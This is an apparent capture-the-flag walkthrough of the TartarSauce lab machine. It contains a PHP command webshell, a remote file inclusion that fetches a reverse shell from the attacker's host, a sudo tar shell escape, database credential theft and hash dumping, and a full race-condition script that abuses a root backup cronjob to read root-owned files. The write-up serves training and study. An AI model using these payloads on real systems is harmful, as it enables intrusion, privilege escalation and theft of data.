Foothold starts with Wordpress plugin gwolle-gb which is vulnerable to Remote File-Inclusion. You can get user by exploiting sudo privileges on tar, then grabbing MySQL DB password from web-root and dumping database. There’s a cronjob running as root, which creates gzip files using tar. Exploiting the race condition,I can create symlinks on the files inside the zip which will be resolved, once root extracts those zip. This results in file read.
Enumeration
Masscan + Nmap
1
2
3
$ masscan -p1-65535,U:1-65535 `IP` --rate=5000 -e tun0 | tee masscan.out
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.88
Parse those ports to nmap:
1
2
3
4
5
6
7
8
9
10
11
12
$ ports=$(cat masscan.out |awk '{ print $4 }' | sed 's/\/tcp//;s/\/udp//' | tr '\n' ',' | sed 's/,$//')
$ nmap -v -sVC --min-rate 1000 -p $ports `IP` -oN nmap-fullscan.out
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 5 disallowed entries
| /webservices/tar/tar/source/
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/
|_/webservices/developmental/ /webservices/phpmyadmin/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Landing Page
HTTP
Directory brute-forcing:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$ feroxbuster -u http://tartarsauce.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -x php,txt,html -C 401,403,405 -W 0
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher ver: 2.3.1
───────────────────────────┬──────────────────────
Target Url │ http://tartarsauce.htb/
Threads │ 50
Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
Status Code Filters │ [401, 403, 405]
Timeout (secs) │ 7
User-Agent │ feroxbuster/2.3.1
Config File │ /etc/feroxbuster/ferox-config.toml
Word Count Filter │ 0
Extensions │ [php, txt, html]
Recursion Depth │ 4
New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200 563l 128w 10766c http://tartarsauce.htb/index.html
200 563l 128w 10766c http://tartarsauce.htb/
200 7l 12w 208c http://tartarsauce.htb/robots.txt
301 9l 28w 324c http://tartarsauce.htb/webservices
301 9l 28w 327c http://tartarsauce.htb/webservices/wp
301 9l 28w 336c http://tartarsauce.htb/webservices/wp/wp-admin
301 9l 28w 339c http://tartarsauce.htb/webservices/wp/wp-includes
301 9l 28w 338c http://tartarsauce.htb/webservices/wp/wp-content
200 63l 173w 2338c http://tartarsauce.htb/webservices/wp/wp-login.php
200 196l 563w 0c http://tartarsauce.htb/webservices/wp/
301 9l 28w 343c http://tartarsauce.htb/webservices/wp/wp-admin/images
301 9l 28w 345c http://tartarsauce.htb/webservices/wp/wp-admin/includes
200 98l 844w 7413c http://tartarsauce.htb/webservices/wp/readme.html
200 5l 15w 135c http://tartarsauce.htb/webservices/wp/wp-trackback.php
301 9l 28w 339c http://tartarsauce.htb/webservices/wp/wp-admin/js
301 9l 28w 340c http://tartarsauce.htb/webservices/wp/wp-admin/css
301 9l 28w 341c http://tartarsauce.htb/webservices/wp/wp-admin/user
200 15l 72w 1168c http://tartarsauce.htb/webservices/wp/wp-admin/install.php
200 385l 3179w 19935c http://tartarsauce.htb/webservices/wp/license.txt
If I check out the source code, it has one not-so-useful comment, way below empty lines: <!--Carry on, nothing to see here :D-->
and this is what I get from robots.txt
1
2
3
4
5
6
User-agent: *
Disallow: /webservices/tar/tar/source/
Disallow: /webservices/monstra-3.0.4/
Disallow: /webservices/easy-file-uploader/
Disallow: /webservices/developmental/
Disallow: /webservices/phpmyadmin/
Only http://tartarsauce.htb/webservices/monstra-3.0.4/
is reachable.
Monstra CMS
http://tartarsauce.htb/webservices/monstra-3.0.4/
gives me a CMS, version is just written at the bottom of the page which is Monstra 3.0.4
Checking for exploits:
1
2
3
4
5
6
7
8
9
10
11
12
13
$ searchsploit Monstra 3.0.4
--------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------- ---------------------------------
Monstra CMS 3.0.4 - (Authenticated) Arbitrary File Upload / Remote C | php/webapps/43348.txt
Monstra CMS 3.0.4 - Arbitrary Folder Deletion | php/webapps/44512.txt
Monstra CMS 3.0.4 - Authenticated Arbitrary File Upload | php/webapps/48479.txt
Monstra cms 3.0.4 - Persitent Cross-Site Scripting | php/webapps/44502.txt
Monstra CMS < 3.0.4 - Cross-Site Scripting (1) | php/webapps/44855.py
Monstra CMS < 3.0.4 - Cross-Site Scripting (2) | php/webapps/44646.txt
Monstra-Dev 3.0.4 - Cross-Site Request Forgery (Account Hijacking) | php/webapps/45164.txt
--------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
I see Arbitrary file upload, Remote code execution but it’s all authenticated. All the users functionality aren’t available except this admin login page at /webservices/monstra-3.0.4/admin/
And I can just login with admin:admin
.
Now the authenticated File upload / Remote Code execution says:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
Exploit Title: Monstra CMS - 3.0.4 RCE
Vendor Homepage: http://monstra.org/
Software Link:
https://bitbucket.org/Awilum/monstra/downloads/monstra-3.0.4.zip
Discovered by: Ishaq Mohammed
Contact: https://twitter.com/security_prince
Website: https://about.me/security-prince
Category: webapps
Platform: PHP
Advisory Link: https://blogs.securiteam.com/index.php/archives/3559
Description:
MonstraCMS 3.0.4 allows users to upload arbitrary files which leads to a
remote command execution on the remote server.
Vulnerable Code:
https://github.com/monstra-cms/monstra/blob/dev/plugins/box/filesmanager/filesmanager.admin.php
line 19:
public static function main()
{
// Array of forbidden types
$forbidden_types = array('html', 'htm', 'js', 'jsb', 'mhtml', 'mht',
'php', 'phtml', 'php3', 'php4', 'php5','phps',
'shtml', 'jhtml', 'pl', 'py', 'cgi', 'sh','ksh',
'bsh', 'c', 'htaccess', 'htpasswd',
'exe', 'scr', 'dll', 'msi', 'vbs', 'bat','com',
'pif', 'cmd', 'vxd', 'cpl', 'empty');
Proof of Concept
Steps to Reproduce:
1. Login with a valid credentials of an Editor
2. Select Files option from the Drop-down menu of Content
3. Upload a file with PHP (uppercase)extension containing the below code: (EDB Note: You can also use .php7)
<?php
$cmd=$_GET['cmd'];
system($cmd);
?>
I tried exploiting this vulnerability for too long, didn’t work. Not a single file was uploading.
Wordpress
Running wpscan
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ wpscan --url http://tartarsauce.htb/webservices/ -e --random-user-agent
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.11
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]
Scan Aborted: The target is responding with a 403, this might be due to a WAF. Well... --random-user-agent didn't work, you're on your own now!
Visiting /webservices/wp/wp-links-opml.php
which I got from feroxbuster
shows the wordpress version:
1
2
3
4
5
6
7
8
<opml version="1.0">
<head>
<title>Links for Test blog</title>
<dateCreated>Fri, 06 Aug 2021 17:07:30 GMT</dateCreated>
<!-- generator="WordPress/4.9.4" -->
</head>
<body> </body>
</opml>
There are some vulnerabilities but those doesn’t seem to good at the moment:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ searchsploit WordPress 4.9.4
--------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------- ---------------------------------
WordPress Core < 4.9.6 - (Authenticated) Arbitrary File Deletion | php/webapps/44949.txt
WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Po | multiple/webapps/47690.md
WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service | php/dos/47800.py
WordPress Plugin Database Backup < 5.2 - Remote Code Execution (Meta | php/remote/47187.rb
WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities | php/webapps/39553.txt
WordPress Plugin EZ SQL Reports < 4.11.37 - Multiple Vulnerabilities | php/webapps/38176.txt
WordPress Plugin iThemes Security < 7.0.3 - SQL Injection | php/webapps/44943.txt
WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection | php/webapps/48918.sh
WordPress Plugin User Role Editor < 4.25 - Privilege Escalation | php/webapps/44595.rb
WordPress Plugin Userpro < 4.9.17.1 - Authentication Bypass | php/webapps/43117.txt
WordPress Plugin UserPro < 4.9.21 - User Registration Privilege Esca | php/webapps/46083.txt
--------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Let’s enumerate some directory based on Wordpress:
1
2
3
4
5
6
7
$ ffuf -u http://tartarsauce.htb/webservices/wp/FUZZ -w /usr/share/seclists/Discovery/Web-Content/CMS/wordpress.fuzz.txt -mc 200,204 -s > ffuf-wordpress.out
$ cat ffuf-wordpress.out | grep plugins
wp-content/plugins/
wp-content/plugins/akismet/
wp-content/plugins/akismet/akismet.php
wp-content/plugins/akismet/readme.txt
wp-content/plugins/index.php
This does show that akismet
plugin exists for this wordpress. But wpscan didn’t give it. That may mean there are some other plugins, still unknown.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ffuf -u http://10.10.10.88/webservices/wp/FUZZ -w /usr/share/seclists/Discovery/Web-Content/CMS/wp-plugins.fuzz.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.10.10.88/webservices/wp/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/CMS/wp-plugins.fuzz.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
wp-content/plugins/akismet/ [Status: 200, Size: 0, Words: 1, Lines: 1]
wp-content/plugins/gwolle-gb/ [Status: 200, Size: 0, Words: 1, Lines: 1]
:: Progress: [13366/13366] :: Job [1/1] :: 437 req/sec :: Duration: [0:00:32] :: Errors: 0 ::
So, there exists another plugin named gwolle-gb
. I was wondering why wpscan
didn’t show the plugins and it seems like we’ve to change the mode for plugins enumeration now.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ wpscan --url http://10.10.10.88/webservices/wp/ -e p --plugins-detection aggressive
[i] Plugin(s) Identified:
[+] akismet
| Location: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/
| Last Updated: 2021-03-02T18:10:00.000Z
| Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
| [!] The version is out of date, the latest version is 4.1.9
|
| Found By: Known Locations (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/, status: 200
|
| Version: 4.0.3 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
[+] gwolle-gb
| Location: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/
| Last Updated: 2021-03-03T11:41:00.000Z
| Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
| [!] The version is out of date, the latest version is 4.1.1
|
| Found By: Known Locations (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/, status: 200
|
| Version: 2.3.10 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
[+] Elapsed time: 00:00:52
Version came out as 2.3.10
“Version: 2.3.10 (100% confidence)” I see a readme.txt as output in wpscan output at /wp/wp-content/plugins/gwolle-gb/readme.txt
. I tried to find the version in readme, it’s much down below between a lot of output but here it is:
1
2
3
4
5
== Changelog ==
= 2.3.10 =
* 2018-2-12
* Changed version from 1.5.3 to 2.3.10 to trick wpscan ;D
Also it says that the version is being fake to be 2.3.10
but it’s 1.5.3
. -_-
Let’s google if it has some vulnerabilities:
1
2
3
4
5
6
7
8
9
root@TheCaretaker:~/HTB# googler gwolle-gb 1.5.3 exploitdb
1. WordPress Plugin Gwolle Guestbook 1.5.3 - Remote File ...
https://www.exploit-db.com/exploits/38861
03-Dec-2015 —
2. WordPress Plugin Gwolle Guestbook Remote File Inclusion ...
https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-gwolle-guestbook-remote-file-inclusion-1-5-3/
WordPress Plugin Gwolle Guestbook is prone to a remote file inclusion vulnerability because it fails to properly verify user-supplied input.
It’s vulnerable to Remote File Inclusion (RFI). Which you can trigger with this syntax url: http://[host]/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website]
If I do the same with tartarsauce and my local IP: http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.32/phprev.php
I receive the requests:
1
2
3
4
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.88 - - [09/Aug/2021 21:09:26] code 404, message File not found
10.10.10.88 - - [09/Aug/2021 21:09:26] "GET /phprev.phpwp-load.php HTTP/1.0" 404 -
Which means I don’t need to provide any file name, it’s already fetching wp-load.php
, I can just move my phprev.php
to wp-load.php
to spawn a shell.
1
2
3
4
5
6
7
8
9
10
$ rlwrap -cArf . nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.32] from (UNKNOWN) [10.10.10.88] 60854
Linux TartarSauce 4.15.0-041500-generic #201802011154 SMP Thu Feb 1 12:05:23 UTC 2018 i686 athlon i686 GNU/Linux
11:42:32 up 19:21, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1189): Inappropriate ioctl for device
bash: no job control in this shell
www-data@TartarSauce:/$
Getting user with tar
If I list what sudo
permissions www-data has:
1
2
3
4
5
6
www-data@TartarSauce:/$ sudo -l
Matching Defaults entries for www-data on TartarSauce:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on TartarSauce:
(onuma) NOPASSWD: /bin/tar
Exploiting sudo perms on tar
:
1
2
3
4
www-data@TartarSauce:/$ sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
whoami
onuma
Dumping MySQL
I see config.php
in wp directory in web-root. It contains username and password for MySQL database.
1
2
3
4
5
6
7
8
9
10
11
12
13
onuma@TartarSauce:/var/www/html/webservices/wp$ cat wp-config.php
<?php
/** The name of the database for WordPress */
define('DB_NAME', 'wp');
/** MySQL database username */
define('DB_USER', 'wpuser');
/** MySQL database password */
define('DB_PASSWORD', 'w0rdpr3$$d@t@b@$3@cc3$$');
/** MySQL hostname */
define('DB_HOST', 'localhost');
Logging in and dumping the database:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
$ mysql -uwpuser -p
w0rdpr3$$d@t@b@$3@cc3$$
Welcome to the MySQL monitor. Commands end with ; or \g.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| wp |
+--------------------+
2 rows in set (0.00 sec)
mysql> use wp;
Database changed
mysql> show tables;
+-----------------------+
| Tables_in_wp |
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_gwolle_gb_entries |
| wp_gwolle_gb_log |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
14 rows in set (0.00 sec)
mysql> describe wp_users;
+---------------------+---------------------+------+-----+---------------------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------------------+---------------------+------+-----+---------------------+----------------+
| ID | bigint(20) unsigned | NO | PRI | NULL | auto_increment |
| user_login | varchar(60) | NO | MUL | | |
| user_pass | varchar(255) | NO | | | |
| user_nicename | varchar(50) | NO | MUL | | |
| user_email | varchar(100) | NO | MUL | | |
| user_url | varchar(100) | NO | | | |
| user_registered | datetime | NO | | 0000-00-00 00:00:00 | |
| user_activation_key | varchar(255) | NO | | | |
| user_status | int(11) | NO | | 0 | |
| display_name | varchar(250) | NO | | | |
+---------------------+---------------------+------+-----+---------------------+----------------+
10 rows in set (0.01 sec)
mysql> select user_login,user_pass from wp_users;
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| wpadmin | $P$BBU0yjydBz9THONExe2kPEsvtjStGe1 |
+------------+------------------------------------+
1 row in set (0.00 sec)
I wasn’t able to crack this hash.
Privesc with cronjob
I saw shadow_bkp
at home which links to /dev/null and that’s done by root. I wonder if some cronjob is running. I couldn’t see any in /etc/crontab
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ./pspy32
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2021/08/09 12:31:22 CMD: UID=0 PID=3115 | /bin/bash /usr/sbin/backuperer
backuperer
is a bash script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/bin/bash
#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P
#-------------------------------------------------------------------------------------
# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check
# formatting
printbdr()
for n in $(seq 72);
do /usr/bin/printf $"-";
done
bdr=$(printbdr)
# Added a test file to let us see when the last backup was run
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg
# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check
# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &
# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30
# Test the backup integrity
integrity_chk()
/usr/bin/diff -r $basedir $check$basedir
/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
# Report errors so the dev can investigate the issue.
/usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
integrity_chk >> $errormsg
exit 2
else
# Clean up and save archive to the bkpdir.
/bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
/bin/rm -rf $check .*
exit 0
This just takes 100 characters from /dev/urandom
and creates .sha1sum
named hidden file in /var/tmp
1
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
I’ll treat it as /var/tmp/.xxxxxxxxxxxxxxx
from now on.
- Remove all previous hidden files in
/var/tmp
and/var/tmp/check
1
/bin/rm -rf /var/tmp/.* /var/tmp/check
- Create
gzip
file of directory/var/www/html
as onuma at/var/tmp/.xxxxxxxxxxxx
, then sleep for 30 seconds.1 2
/usr/bin/sudo -u onuma /bin/tar -zcvf /var/tmp/.xxxxxxxxxxxxxxxx /var/www/html & /bin/sleep 30
- Create directory
/var/tmp/check
, decompress that hidden gzip file to/var/tmp/check
1 2
/bin/mkdir /var/tmp/check /bin/tar -zxvf /var/tmp/.xxxxxxxxxxxxxxxx -C /var/tmp/check
- Defined a
integrity_chk()
function which recursively diffs/var/www/html
and/var/tmp/var/www/html
1 2
integrity_chk() /usr/bin/diff -r /var/www/html /var/tmp/var/www/html
- If
diff
fails to checks as both directories being same i.e. result isfalse
: send errors to/var/backups/onuma_backup_error.txt
else: (diff
runs to smoothly as both directories are same i.e. result istrue
)/bin/mv /var/tmp/.xxxxxxxxxxxx /var/backups/onuma-www-dev.bak
and/bin/rm -rf /var/tmp/check .*
1 2 3 4 5 6 7 8 9
if [[ $(integrity_chk) ]] then /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg integrity_chk >> $errormsg exit 2 else /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak /bin/rm -rf $check .* exit 0
Most vulnerable line here is /bin/tar -zxvf /var/tmp/.xxxx -C /var/tmp/check
and not any other. Here’s why:
- 2nd point creates a gzip file
/usr/bin/sudo -u onuma /bin/tar -zcvf /var/tmp/.xxx /var/www/html
but with user onuma. - When
/bin/tar -zxvf /var/tmp/.xxxx -C /var/tmp/check
is run by root it decompresses thegzip
created by onuma. - Creating a
symlink
ofgzip
file to root flag won’t work since,onuma
created thegzip
file and has no perms on reading files owned by root. Secondly, even if root would’ve created the zip, the file wouldn’t resolve and would’ve still be a symlink. - The only way the way the symlink will be resolved will by compressing directory or decompressing it. Former done by onuma, latter by root.
Here’s what to do:
- Once the gzip is created at
/var/tmp/
, Unzip - Change the contents inside the gzip, make any file symlink to
/root/root.txt
- Zip it again I need to do all of this in 30 seconds, which is the sleep time. Then once the file is unzipped by root, the symlink will be resolved. And since the zips no longer matches the original one, all the
diff
is put onto/var/backups/onuma_backup_error.txt
I made this script for the exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/bash
while true;
do
tempdir=/dev/shm/temp
file=$(echo /var/tmp/.* | awk '{print $3}')
echo --- File found $file
mkdir -p $tempdir
echo --- Directory created $tempdir
echo --- Extracting $file
tar -zxf $file -C $tempdir
echo --- Removing $tempdir/var/www/html/robots.txt
rm $tempdir/var/www/html/robots.txt
echo --- Symlink added
ln -s /root/root.txt $tempdir/var/www/html/robots.txt
ls -l $tempdir/var/www/html/robots.txt
echo --- Removing gzip $file
rm $file
echo --- Creating gzip $file
cd $tempdir
tar -zcf $file var
sleep 15
done
Point to note in this script is, cd $tempdir
. Suppose, If I create the new gzip from remote path like /tmp
, if my directories to zip lies at /dev/shm/temp/var
, the gzip created will have the structure as dev->shm->temp->var->www->html. But I want the structure as var->www->html. So, I need to have var directory at PWD. That’s why tar -zcf $file var
works and tar -zcf $file /dev/shm/temp/var
doesn’t.
And after all this runs, the new gzip
when decompressed by root at /var/tmp/check
and diffed
with /var/www/html
will not match. All differences are passed to /var/backups/onuma_backup_error.txt
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
------------------------------------------------------------------------
Integrity Check Error in backup last ran : Tue Aug 10 01:24:14 EDT 2021
------------------------------------------------------------------------
/var/tmp/.7f87bdbd08c8ff35760600b1dfc84c370ee93601
diff -r /var/www/html/robots.txt /var/tmp/check/var/www/html/robots.txt
1,7c1
< User-agent: *
< Disallow: /webservices/tar/tar/source/
< Disallow: /webservices/monstra-3.0.4/
< Disallow: /webservices/easy-file-uploader/
< Disallow: /webservices/developmental/
< Disallow: /webservices/phpmyadmin/
<
---
> e79abdab8b8a4b64f8579a10b2cd09f9
And that’s the root flag.